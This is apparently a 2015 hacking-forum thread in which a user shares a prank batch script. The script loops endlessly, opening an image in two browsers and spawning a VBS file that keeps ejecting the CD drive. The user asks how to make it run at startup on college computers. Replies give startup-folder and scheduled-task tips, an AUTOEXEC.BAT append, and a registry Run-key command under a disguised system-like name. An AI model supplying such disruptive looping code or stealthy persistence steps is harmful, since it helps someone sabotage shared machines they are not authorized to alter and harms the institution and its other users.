Apr 8, 2015 10:03 AM
(This post was last modified: Apr 8, 2015 11:17 PM by Recursive™.)
Hiya,
I have the following code:
Code @echo off
cls
:start
start iexplore http://akk.li/pics/anne.jpg
start "Chrome" chrome --new-window http://akk.li/pics/anne.jpg
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
goto start
I'm looking into placing this code on startup of the pc (windows). Does anyone know what I could possibly add to add this file on startup. Or does anyone have any tutorials as such?
Stupidly, my college allow users to create and bat files -.-.
I'd check out this link. It's really helpful with what you want to do.
Some easy options:
- Place it in the "All Users" Startup folder in the start menu.
- Create a scheduled task to run it anytime a user logs on.
(Apr 8, 2015 10:10 AM)White Light Wrote: I'd check out this link. It's really helpful with what you want to do.
Wow thanks, never thought of that. +1 repped.
(Apr 8, 2015 10:40 AM)annikk.exe Wrote: Some easy options:
- Place it in the "All Users" Startup folder in the start menu.
- Create a scheduled task to run it anytime a user logs on.
Does this solve your problem?
If not, please provide more information.
(Apr 8, 2015 11:24 AM)Recursive™ Wrote: Wow thanks, never thought of that. +1 repped.
Clearly, otherwise you wouldn't have posted this thread.
DO NOT DEAL WITH THIS MEMBER
Apr 8, 2015 02:56 PM
(This post was last modified: Apr 8, 2015 03:01 PM by Ventriloquism.)
Here are two ways I personally would go about this:
First would be the " autoexec" method:
Code If exist "%systemdrive%\AUTOEXEC.BAT" (
copy opendisk.vbs "%systemroot%\opendisk.vbs"
echo start "" "%systemroot%\opendisk.vbs" >> %systemdrive%\AUTOEXEC.BAT
)
Second would be the " Registry" start-up method:
Code REG ADD "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_awspeGfa_w32" /t "REG_SZ" /d opendisk.vbs /f >nul
Note: I recently came a crossed the registry method while searching through old files on one of my harddrives, and I failed to remember if it works successfully or not, so I would definitely try the autoexec method first before you resort to that...Just though I would throw that in there if things hit the fan. Good luck 🤝
(Apr 8, 2015 02:56 PM)Ventriloquism Wrote: Here are two ways I would go about this:
First would be the "autoexec" method:
Code If exist "%systemdrive%\AUTOEXEC.BAT" (
copy opendisk.vbs "%systemroot%\opendisk.vbs"
echo start "" "%systemroot%\opendisk.vbs" >> %systemdrive%\AUTOEXEC.BAT
)
Second would be the "Registry" start-up method:
Code REG ADD "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_awspeGfa_w32" /t "REG_SZ" /d opendisk.vbs /f >nul
Note: I recently came a crossed the registry method while searching through old files on one of my harddrives, and I failed to remember if it works successfully or not, so I would definitely try the autoexec method first before you resort to that...Just though I would throw that in there if things hit the fan. Good luck 🤝
Autoexec hasn't worked since before Windows XP, and attempting to use HKLM in the registry requires admin rights.
DO NOT DEAL WITH THIS MEMBER
(Apr 8, 2015 03:01 PM)White Light Wrote: Autoexec hasn't worked since before Windows XP, and attempting to use HKLM in the registry requires admin rights.
Really? I could have sworn it was still continued. I just though if you wanted to view it, you have to enable the viewing of hidden fines...my bad OP 😟
(Apr 8, 2015 11:46 AM)annikk.exe Wrote: Does this solve your problem?
If not, please provide more information. He has already solved his problem since WhiteLight kindly linked him a help source.
Thanks guys for all of your replies, I've had a good play with moving the file to the startup folder. Jolly good.
Prefixed Solved.
|